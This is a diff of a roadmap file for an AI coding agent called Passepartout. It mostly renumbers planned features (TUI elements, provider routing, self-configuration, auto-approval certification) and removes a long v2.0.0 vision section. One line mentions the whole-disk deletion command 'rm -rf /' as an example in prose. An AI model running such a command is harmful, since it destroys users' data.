 :CREATED:  [2026-05-09 Sat]
@@ -740,7 +822,7 @@ Queries accept an optional ~:ontology-version~ parameter. The default is ~:activ
 
 ~400 lines. New skill: ~symbolic-vivacegraph.org~. Depends on Phase 4 (sufficiency). Not an ASDF dependency — degrades to hash-table fallback.
 
-** v0.26.0: Hooks on defskill — Lifecycle Interception
+** v0.27.0: Hooks on defskill — Lifecycle Interception
 :PROPERTIES:
 :ID:       id-v082-hooks
 :CREATED:  [2026-05-08 Fri]
@@ -755,7 +837,7 @@ Passepartout's skills can inject instructions and react to triggers but cannot i
 - Hooks run in skill priority order. A ~:deny~ from any hook short-circuits the chain.
 ~50 lines in ~defskill~ macro + ~core-perceive.lisp~
 
-** v0.27.0: Phase 6 — ACL2 Structural Verification (~200 lines, new skill)
+** v0.28.0: Phase 6 — ACL2 Structural Verification (~200 lines, new skill)
 :PROPERTIES:
 :ID:       id-v090-phase6
 :CREATED:  [2026-05-09 Sat]
@@ -789,7 +871,7 @@ ACL2 does not verify that ~rm -rf / is destructive. That is an empirical claim a
 
 ~200 lines. New skill: ~symbolic-acl2.org~. Depends on Phase 5 (VivaceGraph). Not an ASDF dependency — degrades gracefully.
 
-** v0.28.0: Prompt Templates / Output Styles
+** v0.29.0: Prompt Templates / Output Styles
 :PROPERTIES:
 :ID:       id-v082-prompt-styles
 :CREATED:  [2026-05-08 Fri]
@@ -806,7 +888,7 @@ Claude Code has "output styles" (~default~, ~Explanatory~, ~Learning~). Hermes h
 - Style changes are immediate (next think() call). Survive restarts via config persistence.
 ~100 lines (~60 prompt templates + ~40 TUI integration).
 
-** v0.29.0: Skill Auto-Detection — File-Watch Hot-Reload
+** v0.30.0: Skill Auto-Detection — File-Watch Hot-Reload
 :PROPERTIES:
 :ID:       id-v082-auto-reload
 :CREATED:  [2026-05-08 Fri]
@@ -824,7 +906,7 @@ Passepartout's image-based Lisp model enables hot-reload — redefine a function
 - On compile error: keep the old version loaded, log the error, show TUI warning: ~"✗ Skill 'skill-name' failed to compile — old version retained."~
 ~80 lines in a new ~symbolic-file-watch.org~ skill.
 
-** v0.30.0: Heavy Thinking Skill — Parallel Reasoning + Sequential Deliberation
+** v0.31.0: Heavy Thinking Skill — Parallel Reasoning + Sequential Deliberation
 :PROPERTIES:
 :ID:       id-v082-heavy-thinking
 :CREATED:  [2026-05-08 Fri]
@@ -842,7 +924,7 @@ The HeavySkill paper (arXiv:2605.02396v1) demonstrates that a two-stage pipeline
 - Cost model: 3 parallel × 1 deliberation = 4 API calls for complex tasks (vs 1 normally). ~HEAVY_THINKING_COST_MULTIPLIER~ env var for cost-aware auto-activation
 ~100 lines as a skill (~60 prompt template + ~40 orchestration in ~symbolic-heavy-thinking.org~).
 
-** v0.31.0: Adaptive Layout (3 Tiers)
+** v0.32.0: Adaptive Layout (3 Tiers)
 :PROPERTIES:
 :ID:       id-v073-adaptive-layout
 :CREATED:  [2026-05-08 Fri]
@@ -854,7 +936,7 @@ The HeavySkill paper (arXiv:2605.02396v1) demonstrates that a two-stage pipeline
 
 Re-renders on terminal resize (already handled via ~KEY_RESIZE~). Content re-flows — not truncated. The layout remembers per-terminal-size preference. ~80 lines.
 
-** v0.32.0: Spinner Personality
+** v0.33.0: Spinner Personality
 :PROPERTIES:
 :ID:       id-v073-spinner
 :CREATED:  [2026-05-08 Fri]
@@ -870,7 +952,7 @@ Configurable spinner style per skin:
 
 Stall indication: when no response for 10s, spinner color interpolates from theme color → error red (Claude Code pattern). Reduced motion preference: spinner replaced with slow-pulse ●. ~50 lines.
 
-** v0.33.0: Progress Bar
+** v0.34.0: Progress Bar
 :PROPERTIES:
 :ID:       id-v073-progress-bar
 :CREATED:  [2026-05-08 Fri]
@@ -882,7 +964,7 @@ For measurable operations (file processing, test runs with known count, batch op
 
 Uses 9 block characters for sub-character precision: ~[' ', '▏', '▎', '▍', '▌', '▋', '▊', '▉', '█']~ (Claude Code pattern). Color-coded by progress: red <25%, yellow 25-75%, green 75%+. ~25 lines.
 
-** v0.34.0: Live Timestamps
+** v0.35.0: Live Timestamps
 :PROPERTIES:
 :ID:       id-v073-timestamps
 :CREATED:  [2026-05-08 Fri]
@@ -894,7 +976,7 @@ Uses 9 block characters for sub-character precision: ~[' ', '▏', '▎', '▍',
 - Timestamps update live (per-minute recalculation, not per-frame)
 ~40 lines.
 
-** v0.35.0: Context-Sensitive Help
+** v0.36.0: Context-Sensitive Help
 :PROPERTIES:
 :ID:       id-v073-help
 :CREATED:  [2026-05-08 Fri]
@@ -908,7 +990,7 @@ Press ~?~ to show available actions in current context:
 
 Rendered as a dim help bar at the bottom of the screen (above input). Dismisses on any key or after 5 seconds. ~40 lines.
 
-** v0.36.0: Phase 7 — 10-80-10 Planner (~500 lines, new skill, last phase)
+** v0.37.0: Phase 7 — 10-80-10 Planner (~500 lines, new skill, last phase)
 :PROPERTIES:
 :ID:       id-v090-phase7
 :CREATED:  [2026-05-09 Sat]
@@ -934,7 +1016,7 @@ Screamer returns a viable plan or reports unsolvability with the conflicting con
 **** Plan verification
 ACL2 proves that the plan contains no deadlocks (two subtasks waiting on each other), no dependency cycles (A depends on B depends on C depends on A), and no safety violations (no plan step requires a gate-blocked operation).
 
-If verification fails, ACL2 identifies the failing subtask and the violated constraint. The planner re-decomposes the problematic branch (the existing ROADMAP's branch pruning, v0.61.0, but symbolically rather than neurally).
+If verification fails, ACL2 identifies the failing subtask and the violated constraint. The planner re-decomposes the problematic branch (the existing ROADMAP's branch pruning, v0.62.0, but symbolically rather than neurally).
 
 **** Neuro-symbolic boundary
 The LLM handles the I/O boundaries:
@@ -943,7 +1025,7 @@ The LLM handles the I/O boundaries:
 - *Output* (10%): structured plan → natural language response. The verified plan plist is formatted as "I'll refactor the authentication module in 5 steps: 1) Create the OAuth2 client (depends on: nothing, modifies: auth/client.lisp) 2) Add the token store..." Small prompt, formulaic translation, ~150 tokens.
 
 **** TUI visualization
-The plan is rendered as an Org headline tree in the TUI, with each subtask as a node showing its terminal state (=todo=, =next-action=, =in-progress=, =done=, =blocked=, =stuck=), its constraints, and its verified properties. This is the same task tree visualization planned for v0.61.0, but with the addition of Screamer constraint annotations and ACL2 verification badges.
+The plan is rendered as an Org headline tree in the TUI, with each subtask as a node showing its terminal state (=todo=, =next-action=, =in-progress=, =done=, =blocked=, =stuck=), its constraints, and its verified properties. This is the same task tree visualization planned for v0.62.0, but with the addition of Screamer constraint annotations and ACL2 verification badges.
 
 *** Verification — ~6 FiveAM tests
 1. ~test-goal-plist-from-natural-language~ — natural language input produces correct structured goal plist (LLM-dependent but formulaic; tested with deterministic mock).
@@ -955,7 +1037,7 @@ The plan is rendered as an Org headline tree in the TUI, with each subtask as a
 
 ~500 lines. New skill: ~symbolic-planner.org~. Depends on Phase 6 (ACL2) + all prior phases.
 
-** v0.36.1: Phase 8+ — Semantic Wikipedia Integration (TBD lines, optional acceleration)
+** v0.37.1: Phase 8+ — Semantic Wikipedia Integration (TBD lines, optional acceleration)
 :PROPERTIES:
 :ID:       id-v090-phase8
 :CREATED:  [2026-05-10 Sun]
@@ -982,7 +1064,7 @@ How much Wikidata is the right amount? Loading entities referenced in the memex
 
 TBD lines. New skill. Depends on Phase 5 (VivaceGraph).
 
-** v0.37.0: Priority-Queue Signal Processing
+** v0.38.0: Priority-Queue Signal Processing
 
 :PROPERTIES:
 :ID:       id-v090-priority-queue
@@ -1002,7 +1084,7 @@ Replace the linear ~process-signal~ call chain with a priority-ordered signal qu
 
 ~80 lines in ~core-pipeline.lisp~ + ~30 lines TUI.
 
-** v0.38.0: MVCC Memory Concurrency
+** v0.39.0: MVCC Memory Concurrency
 :PROPERTIES:
 :ID:       id-v090-mvcc
 :CREATED:  [2026-05-08 Fri]
@@ -1017,7 +1099,7 @@ Replace the linear ~process-signal~ call chain with a priority-ordered signal qu
 
 ~60 lines in ~core-memory.lisp~.
 
-** v0.39.0: Structured Output Enforcement
+** v0.40.0: Structured Output Enforcement
 :PROPERTIES:
 :ID:       id-v090-structured-output
 :CREATED:  [2026-05-08 Fri]
@@ -1031,7 +1113,7 @@ Replace the linear ~process-signal~ call chain with a priority-ordered signal qu
 
 ~40 lines in ~core-reason.lisp~.
 
-** v0.40.0: Doom-Loop Detection
+** v0.41.0: Doom-Loop Detection
 
 :PROPERTIES:
 :ID:       id-v090-doom-loop
@@ -1046,7 +1128,7 @@ OpenCode detects 3 consecutive identical tool calls and prompts the user. Withou
 - Resets on any different tool call or successful output
 ~15 lines in ~core-loop-act.lisp~
 
-** v0.41.0: Busy-Mode — Queue on Interrupt
+** v0.42.0: Busy-Mode — Queue on Interrupt
 
 :PROPERTIES:
 :ID:       id-v090-busy-mode
@@ -1061,7 +1143,7 @@ When the agent is processing a turn and the user types a message, the current be
 - The priority queue (above) naturally supports this — user input queued during a turn has higher priority than heartbeats, lower than the active turn
 ~20 lines in ~core-pipeline.lisp~
 
-** v0.42.0: CLI / Non-Interactive Mode
+** v0.43.0: CLI / Non-Interactive Mode
 
 :PROPERTIES:
 :ID:       id-v090-cli
@@ -1077,7 +1159,7 @@ Claude Code supports ~claude -p "fix the failing test" --print~. Hermes has ~her
 - Uses the existing wire protocol — no new protocol, just a CLI wrapper around the framed TCP message format
 ~80 lines in ~passepartout~ bash script + ~50 lines daemon handler.
 
-** v0.43.0: Provider Health Tracking
+** v0.44.0: Provider Health Tracking
 
 :PROPERTIES:
 :ID:       id-v090-provider-health
@@ -1093,7 +1175,7 @@ Claude Code supports ~claude -p "fix the failing test" --print~. Hermes has ~her
 - Telemetry: provider health data feeds the session telemetry system
 ~60 lines in ~neuro-provider.lisp~ + ~30 lines TUI.
 
-** v0.44.0: Cost-Based Provider Routing
+** v0.45.0: Cost-Based Provider Routing
 
 :PROPERTIES:
 :ID:       id-v090-cost-routing
@@ -1108,7 +1190,7 @@ Claude Code supports ~claude -p "fix the failing test" --print~. Hermes has ~her
 - ~/routing~ TUI command: displays current cascade order with scores and reasons
 ~40 lines in ~core-reason.lisp~
 
-** v0.45.0: Intelligent Provider Fallback — Per-Task-Type Routing
+** v0.46.0: Intelligent Provider Fallback — Per-Task-Type Routing
 
 :PROPERTIES:
 :ID:       id-v090-intelligent-fallback
@@ -1124,7 +1206,7 @@ Current fallback is "try the next provider." But different providers excel at di
 - Bootstrap from defaults: GPT-4/Claude for reasoning, DeepSeek for code, Groq for chat, local Ollama for reflex
 ~60 lines in ~neuro-router.lisp~
 
-** v0.46.0: Autonomous Certification Badge
+** v0.47.0: Autonomous Certification Badge
 
 :PROPERTIES:
 :ID:       id-v090-certification
@@ -1140,7 +1222,7 @@ After N HITL approvals of the same pattern, the dispatcher auto-approves it. But
 - This is the operational realization of "the more you use it, the cheaper it gets" — each certification represents a category of actions that will never cost another HITL prompt
 ~60 lines in ~security-dispatcher.lisp~ + sidebar rendering reuse.
 
-** v0.47.0: Certification Progress Bar
+** v0.48.0: Certification Progress Bar
 
 :PROPERTIES:
 :ID:       id-v090-cert-progress
@@ -1154,7 +1236,7 @@ The certification badge grants permanent auto-approval. Users need to see this h
 - Certification velocity: ~"+2 certified this week"~ trend indicator in sidebar
 ~30 lines on top of existing sidebar rendering.
 
-** v0.48.0: Update Mechanism + Migrations
+** v0.49.0: Update Mechanism + Migrations
 
 :PROPERTIES:
 :ID:       id-v090-update
@@ -1167,10 +1249,10 @@ No update mechanism exists. Users must manually ~git pull~ and re-run ~passepart
 - ~passepartout update~ (git-based) — ~git fetch --tags && git checkout v0.5.1~, incremental tangle (only org files changed since previous tag, via ~git diff --name-only v0.5.0..v0.5.1 -- org/*.org~), recompile changed lisp files, restart daemon
 - Migration hooks: ~~/memex/system/migrations/~ — ordered Lisp scripts run after tangle, before daemon restart. ~migrate-v051.lisp~ upgrades memory format, config schema, package names. Tracked by ~*migration-version*~ in ~~/.config/passepartout/version.lisp~
 - Post-update verification: run internal eval suite, verify skill count ≥ 10, smoke test daemon port 9105. On failure: ~passepartout update --rollback~ → ~git checkout v0.5.0~ → re-tangle → restart
-- Binary update path (when v0.63.0 ships): download binary from GitHub Releases, verify SHA-256, replace, restart
+- Binary update path (when v0.64.0 ships): download binary from GitHub Releases, verify SHA-256, replace, restart
 ~80 lines bash + ~50 lines Lisp.
 
-** v0.49.0: Self-Configuration — Agent Proposes and Applies Config Changes
+** v0.50.0: Self-Configuration — Agent Proposes and Applies Config Changes
 
 :PROPERTIES:
 :ID:       id-v090-self-config
@@ -1187,11 +1269,11 @@ Passepartout's config is text files (`.env`, `.lisp`) — the same format the ag
 
 Three tiers of self-configuration:
 1. **Config Query** (v0.7.2) — "What providers do I have?" → answered from system prompt CONFIG section. Already implemented.
-2. **Config Suggest** (v0.49.0) — "Should I use a cheaper model?" → agent analyzes telemetry, proposes specific config change with estimated savings. User decides.
-3. **Config Apply** (v0.49.0) — "Add @credentials to privacy tags" → agent proposes change → HITL review → writes `.env` → daemon reloads → change takes effect within one think() cycle.
-4. **Config Optimize** (v0.49.0) — "Make yourself cheaper" → agent analyzes cost patterns across all sessions, proposes multi-key optimization. User approves full batch.
+2. **Config Suggest** (v0.50.0) — "Should I use a cheaper model?" → agent analyzes telemetry, proposes specific config change with estimated savings. User decides.
+3. **Config Apply** (v0.50.0) — "Add @credentials to privacy tags" → agent proposes change → HITL review → writes `.env` → daemon reloads → change takes effect within one think() cycle.
+4. **Config Optimize** (v0.50.0) — "Make yourself cheaper" → agent analyzes cost patterns across all sessions, proposes multi-key optimization. User approves full batch.
 
-** v0.50.0: Self-Diagnosis Coach — ~/coach~ Command
+** v0.51.0: Self-Diagnosis Coach — ~/coach~ Command
 
 :PROPERTIES:
 :ID:       id-v090-coach
@@ -1203,7 +1285,7 @@ Telemetry data plus the agent's self-knowledge enables coaching: the agent detec
 - ~/coach~ — analyzes telemetry from the last N sessions, produces a coaching report with 3-5 actionable tips. Coaching is opt-in (privacy-respecting — no data leaves the machine).
 ~50 lines in telemetry skill + ~30 lines TUI rendering.
 
-** v0.51.0: Failure Attribution — Tag Task Failures with Probable Component
+** v0.52.0: Failure Attribution — Tag Task Failures with Probable Component
 
 :PROPERTIES:
 :ID:       id-v090-failure-attribution
@@ -1214,10 +1296,10 @@ AHE (arXiv:2604.25850v2) shows that evolution loops work when failures are attri
 
 - In telemetry skill: when a session ends with a task failure, classify as: ~:tool-failure~, ~:gate-overblock~, ~:gate-underblock~, ~:reasoning-error~, ~:context-overflow~, ~:timeout~
 - Classification is deterministic: if last action was blocked by dispatcher → gate-overblock. If last action was a tool error → tool-failure. If last action was a successful tool call but wrong output → reasoning-error.
-- Feeds the Skill Creator (v0.57.0) — the agent knows *which* component to fix, not just *that* something went wrong
+- Feeds the Skill Creator (v0.58.0) — the agent knows *which* component to fix, not just *that* something went wrong
 ~20 lines in telemetry skill.
 
-** v0.52.0: MCP Native Client
+** v0.53.0: MCP Native Client
 
 :PROPERTIES:
 :ID:       id-v100-mcp
@@ -1232,7 +1314,7 @@ AHE (arXiv:2604.25850v2) shows that evolution loops work when failures are attri
 
 ~200 lines as a new skill ~mcp-client.org~.
 
-** v0.53.0: Web Search + Web Fetch Tools
+** v0.54.0: Web Search + Web Fetch Tools
 :PROPERTIES:
 :ID:       id-v100-web
 :CREATED:  [2026-05-08 Fri]
@@ -1245,7 +1327,7 @@ Claude Code has ~WebSearchTool~ + ~WebFetchTool~. Hermes has ~firecrawl-py~ + ~e
 - Both register via ~def-cognitive-tool~ as read-only tools (auto-approve via v0.7.2 safe-tool allowlist)
 ~150 lines as a new skill ~programming-web.org~. No external Python/Node.js process.
 
-** v0.54.0: LSP Integration
+** v0.55.0: LSP Integration
 
 :PROPERTIES:
 :ID:       id-v100-lsp
@@ -1261,7 +1343,7 @@ Claude Code uses LSP for code intelligence — find definitions, find references
 - LSP servers installed by the user (e.g., ~npm install -g typescript-language-server~). Passepartout auto-discovers installed servers via PATH.
 ~200 lines. Register as read-only cognitive tools. No daemon protocol changes — LSP is a background process, not a rendering concern.
 
-** v0.55.0: ~debug-inspect~ Cognitive Tool
+** v0.56.0: ~debug-inspect~ Cognitive Tool
 
 :PROPERTIES:
 :ID:       id-v100-debug-inspect
@@ -1276,7 +1358,7 @@ Lisp enables live state inspection that no TypeScript/Python agent can match. Cl
 - The agent can introspect its own state to answer meta-questions: "How many objects are in memory?" "What skills are loaded?" "What was the last HITL decision?"
 ~30 lines in ~programming-repl.lisp~ (extends existing repl-eval with safety guard).
 
-** v0.56.0: Session Transcripts — ~/memex/system/sessions/~
+** v0.57.0: Session Transcripts — ~/memex/system/sessions/~
 
 :PROPERTIES:
 :ID:       id-v100-transcripts
@@ -1293,7 +1375,7 @@ Passepartout has no session persistence beyond Merkle tree snapshots. Chat histo
 - Survives daemon restarts. Resume via ~/resume <date-title>~ (existing session resume from v0.7.2)
 ~80 lines in ~core-transport.lisp~ (append on message send) + reuse existing Org rendering.
 
-** v0.57.0: Auto-Memory Extraction — Learnings from Sessions
+** v0.58.0: Auto-Memory Extraction — Learnings from Sessions
 
 :PROPERTIES:
 :ID:       id-v100-auto-memory
@@ -1309,7 +1391,7 @@ Claude Code's ~extractMemories~ runs at the end of each query loop, scanning the
 - Opt-out via ~AUTO_MEMORY=false~ env var. Extraction frequency capped at one per minute to prevent runaway API costs.
 ~80 lines in ~core-reason.lisp~ + reuse session transcript for context.
 
-** v0.58.0: Universal Cross-Project Org Query
+** v0.59.0: Universal Cross-Project Org Query
 
 :PROPERTIES:
 :ID:       id-v100-org-query
@@ -1324,7 +1406,7 @@ Passepartout's entire memex is Org — one format for memory, tasks, documents,
 - ~(org-query :limit 20 :sort :priority)~ — sorted, capped results.
 ~150 lines in ~programming-org.lisp~ (extends existing Org manipulation primitives).
 
-** v0.59.0: Skill Creator — LLM-Drafted, Verified Skills
+** v0.60.0: Skill Creator — LLM-Drafted, Verified Skills
 
 :PROPERTIES:
 :ID:       id-v110-skill-creator
@@ -1337,7 +1419,7 @@ Passepartout's entire memex is Org — one format for memory, tasks, documents,
 - Skills are the primary extension mechanism for users. The Skill Creator makes skill authoring accessible to non-Lisp-programmers: describe what you want in English, the LLM drafts the Org file, the system verifies it, and the skill is live.
 ~150 lines as a new skill ~symbolic-skill-creator.org~.
 
-** v0.60.0: Change Manifest — Skills Ship with Falsifiable Predictions
+** v0.61.0: Change Manifest — Skills Ship with Falsifiable Predictions
 
 :PROPERTIES:
 :ID:       id-v110-change-manifest
@@ -1352,7 +1434,7 @@ AHE (arXiv:2604.25850v2) shows that harness edits work better when each edit shi
 - The change manifest persists in the skill's Org file — every skill carries its own evidence ledger.
 ~40 lines in Skill Creator + telemetry integration.
 
-** v0.61.0: Long-Horizon Planning (Task Tree DAG)
+** v0.62.0: Long-Horizon Planning (Task Tree DAG)
 
 :PROPERTIES:
 :ID:       id-v110-planning
@@ -1367,7 +1449,7 @@ AHE (arXiv:2604.25850v2) shows that harness edits work better when each edit shi
 - TUI task tree visualization: a collapsible Org headline tree rendered in the chat area. Each node shows its terminal state with a colored indicator (~○~ todo, ~▶~ next-action, ~◉~ in-progress, ~✓~ done, ~✗~ blocked, ~⏸~ stuck). Nodes expand/collapse on Enter. The tree updates in real time as the agent progresses through subtasks.
 ~200 lines.
 
-** v0.62.0: Tier Classifier Fix
+** v0.63.0: Tier Classifier Fix
 
 :PROPERTIES:
 :ID:       id-v110-tier-fix
@@ -1380,7 +1462,7 @@ AHE (arXiv:2604.25850v2) shows that harness edits work better when each edit shi
 - The classifier should be a skill, not core infrastructure — reloadable and replaceable without restart.
 ~40 lines.
 
-** v0.63.0: SWE-Bench Harness
+** v0.64.0: SWE-Bench Harness
 
 :PROPERTIES:
 :ID:       id-v120-swebench
@@ -1393,7 +1475,7 @@ AHE (arXiv:2604.25850v2) shows that harness edits work better when each edit shi
 - Target: competitive score with Claude Code and OpenClaw on SWE-bench-verified by v1.0.0.
 ~200 lines.
 
-** v0.64.0: Computer Use / Vision
+** v0.65.0: Computer Use / Vision
 
 :PROPERTIES:
 :ID:       id-v120-vision
@@ -1406,7 +1488,7 @@ AHE (arXiv:2604.25850v2) shows that harness edits work better when each edit shi
 - Use case: "open Firefox, search for the Passepartout GitHub repo, and star it."
 ~100 lines.
 
-** v0.65.0: Telemetry / Observability
+** v0.66.0: Telemetry / Observability
 
 :PROPERTIES:
 :ID:       id-v120-telemetry
@@ -1420,7 +1502,7 @@ AHE (arXiv:2604.25850v2) shows that harness edits work better when each edit shi
 - Feeds the evaluation harness (SWE-bench trajectory data comes from the same telemetry system)
 ~200 lines as a new skill ~symbolic-telemetry.org~. No daemon protocol changes.
 
-** v0.66.0: Consensus Loop
+** v0.67.0: Consensus Loop
 
 :PROPERTIES:
 :ID:       id-v130-consensus
@@ -1433,7 +1515,7 @@ AHE (arXiv:2604.25850v2) shows that harness edits work better when each edit shi
 - TUI consensus display: collapsible region listing each provider, its model, its proposal, and its confidence score. ~✓ 3/3 providers agree~ in green; ~✗ 2/3 agree~ in yellow.
 ~80 lines.
 
-** v0.67.0: GTD Integration
+** v0.68.0: GTD Integration
 
 :PROPERTIES:
 :ID:       id-v130-gtd
@@ -1446,7 +1528,7 @@ AHE (arXiv:2604.25850v2) shows that harness edits work better when each edit shi
 - TUI agenda view: ~/agenda~ command renders Org-agenda as formatted scrollable region within the chat area.
 ~150 lines.
 
-** v0.68.0: Deep Emacs Integration
+** v0.69.0: Deep Emacs Integration
 
 :PROPERTIES:
 :ID:       id-v130-emacs
@@ -1459,7 +1541,7 @@ AHE (arXiv:2604.25850v2) shows that harness edits work better when each edit shi
 - Refile and archive: agent refiles headlines between Org files and archives completed items.
 ~300 lines.
 
-** v0.69.0: Save-Lisp-and-Die Binary
+** v0.70.0: Save-Lisp-and-Die Binary
 
 :PROPERTIES:
 :ID:       id-v140-save-lisp
@@ -1474,7 +1556,7 @@ AHE (arXiv:2604.25850v2) shows that harness edits work better when each edit shi
 - Add FiveAM test: the deterministic path succeeds on a system with all dependencies pre-installed; the LLM-assisted path correctly classifies 10 common package-manager error messages.
 ~200 lines Lisp + build configuration.
 
-** v0.70.0: Channels + Providers — Match OpenClaw on Demand
+** v0.71.0: Channels + Providers — Match OpenClaw on Demand
 
 :PROPERTIES:
 :ID:       id-v100-channels
@@ -1489,34 +1571,34 @@ The daemon protocol is client-agnostic hex-framed plists over TCP. Every new cha
 
 No separate releases. Done when needed, shipped when ready.
 
-** v0.71.0: Lish Shell
+** v0.72.0: Lish Shell
 - plist-returning commands: ~(ls :path "~/memex/projects/")~ → structured result
 - Pipe as function composition: ~(pipe (ls ...) (filter :state 'TODO))~
 - Org-buffer output: shell output rendered as Org headlines
 - External bash compatibility: ~(bash "npm run build")~ → plist with exit code, stdout, stderr
 ~500 lines CL. Useful immediately for the agent.
 
-** v0.72.0: Buffer-as-CLOS Prototype
+** v0.73.0: Buffer-as-CLOS Prototype
 - buffer class: source (file path or Org AST), content, cursor, marks, overlays
 - Key editing primitives: insert, delete, move, search, replace
 - Org-AST-backed: editing mutates the AST, text rendering is a view
 ~300 lines CL. No display dependency.
 
-** v0.73.0: EQL5 Feasibility
+** v0.74.0: EQL5 Feasibility
 - Add EQL5 to Quicklisp dependencies (optional, like croatoan)
 - Compile and verify on Linux (primary target)
 - Single QML window: "Passepartout" title, 800x600, dark background
 - Verify event loop integration with SBCL threads
 ~100 lines QML + build config.
 
-** v0.74.0: EQL5 TCP Client
+** v0.75.0: EQL5 TCP Client
 - QML window with terminal widget, input area, status bar
 - Connects to daemon via existing framed TCP protocol
 - Renders agent responses, gate trace, sidebar panels as QML components
 - Lives alongside croatoan TUI (two clients, one daemon)
 ~300 lines QML + ~200 lines CL.
 
-** v0.75.0: Minibuffer Prototype
+** v0.76.0: Minibuffer Prototype
 - Universal command line at bottom of Qt window
 - /chat /edit /shell /eval dispatch
 - Goes through same gate stack as agent actions
@@ -1528,252 +1610,8 @@ v1.0.0 is where the agent achieves symbolic-first reasoning in the 10-80-10 arch
 
 Hallucination becomes structurally impossible because the symbolic engine will not accept a fact that contradicts its knowledge graph. Safety becomes provable because ACL2 can prove properties about the system's behavior. Self-improvement becomes stable because the agent modifies skills that are then verified before execution.
 
-The system is benchmarked against SWE-bench (competitive score with Claude Code and OpenClaw), verified under concurrent load (MVCC from v0.38.0), and validated by the eval harness (v0.9.0). The 10-80-10 planner operates on a mature symbolic index seeded from months of gate outcomes, Screamer deductions, LLM-proposed facts with provenance, and human-authored facts.
+The system is benchmarked against SWE-bench (competitive score with Claude Code and OpenClaw), verified under concurrent load (MVCC from v0.39.0), and validated by the eval harness (v0.9.0). The 10-80-10 planner operates on a mature symbolic index seeded from months of gate outcomes, Screamer deductions, LLM-proposed facts with provenance, and human-authored facts.
 
 The TUI at v1.0.0 is competitive: streaming responses, gate trace visualization, sidebar with 10 panels, skin system with 10+ presets, adaptive layout, full markdown, mouse support, spinner personality, and progress bars. The sidebar's gate trace, focus map, rule counter, sufficiency score, and provenance breakdown are capabilities no competitor can replicate — Passepartout's permanent UX differentiator.
 
 v1.0.0 is the brain at maturity. The symbolic engine reasons. The probabilistic engine translates. The gate stack verifies. The Merkle tree preserves provenance. The eval harness guards against regression.
-
-* v2.0.0: Lisp Machine Emergence
-
-v2.0.0 is where Passepartout stops being a daemon with clients and becomes the environment. The agent's cognitive loop, the user's editor, the user's shell, and the user's browser run in the same Common Lisp image. The Dispatcher gate stack verifies every action regardless of who initiated it — user or agent. The distinction between "tool" and "self" dissolves.
-
-*Why this version matters for UX parity.* v0.4.0 through v1.0.0 give Passepartout four interaction surfaces (TUI, messaging apps, Emacs, voice). v2.0.0 inverts the problem: instead of building more clients, it builds a platform where the agent's environment and the user's environment are the same process, separated not by a sandbox but by the Dispatcher gate stack. The editor IS the agent's prompt. The shell IS the agent's actuator. The browser IS the agent's web research tool. There are no clients — there is one Lisp image, one address space, one Org-mode file system.
-
-*Architectural principle: Browser inside Lisp, not Lisp inside browser.* Lisp is the parent process. It owns the window, the memory, and the input loop. The rendering engine (WebKit/Blink) is a library that paints pixels inside a Lisp buffer. The user can redefine functions while browsing without restarting. Keybinding lookups happen in microseconds (SBCL machine code) — the browser cannot "steal" shortcuts.
-
-** Qt/QML via EQL5 — the rendering surface
-
-- Qt/QML (via EQL5) is the UI framework. EQL5 exposes the full Qt C++ API from Common Lisp. QML is declarative — it matches Lisp's generation model.
-- Desktop: native look and feel on Linux, macOS, and Windows.
-- Mobile: Qt runs natively on iOS and Android. Android uses F-Droid for the unrestricted version and Play Store for sandboxed. iOS uses Guideline 4.7 ("Educational/Developer Tool" loophole, no JIT compilation).
-- Safety Bridge for mobile: Lisp code can manipulate browser/files but cannot touch hardware (GPS, camera, contacts) without standard permission pop-ups.
-- The minibuffer: a universal command line at the bottom of the screen. Not an Emacs modeline. Not a VS Code command palette. A single command surface for every action — edit files, navigate web, run Lisp expressions, invoke agent commands. ~M-x~ for everything.
-
-*** Lish — the Common Lisp editor
-
-Not elisp. Not Emacs. A multi-threaded Common Lisp editor rendered via Qt/QML. The complete system prompt lives in an Org buffer — the agent's identity, its skill registry, its memory, and its reasoning are visible and editable as Org text. The user modifies the agent's prompt and the agent reflects the change immediately — the prompt is a file in memory, not a hidden string in a config.
-
-Org-babel for interactive evaluation: source blocks in Org files are executable. The user evaluates a ~#+begin_src lisp~ block and the result appears inline. The agent evaluates blocks to verify code before writing. The REPL is not a separate window — it is the Org buffer in which the agent and user both work.
-
-The editor and the agent share the same Lisp image. The editor is not a client that connects to a daemon — it IS the daemon process. The TUI from v0.x is the editor's rendering surface.
-
-*** Nyxt — the Common Lisp browser (three erosion stages)
-
-The browser is not a one-time feature. It is a multi-year erosion of the rendering stack toward pure Lisp:
-
-*Stage 1 — Qt + WebKit.* Qt provides window management and native widgets. WebKit renders web content inside a Lisp buffer. Network requests via dexador (pure Lisp). HTML parsed via Plump (pure Lisp). Layout via Yoga (C-based Flexbox, wrapped via FFI). JavaScript via embedded QuickJS. This stage delivers a working browser in months, not years.
-
-*Stage 2 — S-expression DOM.* Lisp builds its own DOM representation as native S-expressions. WebKit is reduced to pixel painting only — it receives rendered layouts from Lisp, not raw HTML. The agent can traverse and manipulate the DOM as Lisp data structures without serialization. This makes web content natively queryable and modifiable by the agent's cognitive loop.
-
-*Stage 3 — Pure Lisp layout.* WebKit turned off entirely. Lisp-native layout engine (12-18 months of focused development). CSS subset sufficient for the modern web's 95% use case. JavaScript via QuickJS remains for interactive content. The browser is now a Lisp application that happens to speak HTTP, not a web engine wrapped in a Lisp process.
-
-*** Lish — the Lisp shell
-
-Bash is a text-stream protocol. Passepartout speaks plists. The Lish shell replaces text streams with structured data — every command returns a plist, not a byte stream. Pipe becomes function composition. Scripts become Lisp functions that operate on memory objects directly.
-
-The agent and the user share the same shell. The user types ~(list-todos :tag "@urgent")~. The agent proposes ~(shell "npm run build")~. The Dispatcher verifies both. The shell is not a separate process — it is a REPL connected to the same Lisp image as the agent's cognitive loop.
-
-Org-mode buffers become the file system. The user's memex (~/memex/) is browsable as a tree of Org headlines. File operations (read, write, list, search) operate on Org AST nodes, not byte streams. A "directory listing" is a tree of headlines. A "file read" is a subtree rendered as text.
-
-Bash remains available as a backend for running external commands, but it is not the primary interface.
-
-*** Emacs migration — three phases
-
-The Emacs bridge (v0.4.0) is Phase I. The deep integration is three phases, not one:
-
-*Phase I — Parasite (v0.4.0).* Emacs is a client. The elisp TCP bridge sends text and receives responses. The agent does not control Emacs. Emacs users get a native chat experience alongside the TUI.
-
-*Phase II — Interpreter (v2.0.0).* An ELisp compatibility layer runs inside Passepartout's Common Lisp image. Key Emacs packages (Org-mode, Magit) run natively without an Emacs process. The compatibility layer does not aim for 100% coverage — it targets the packages the agent's workflows depend on.
-
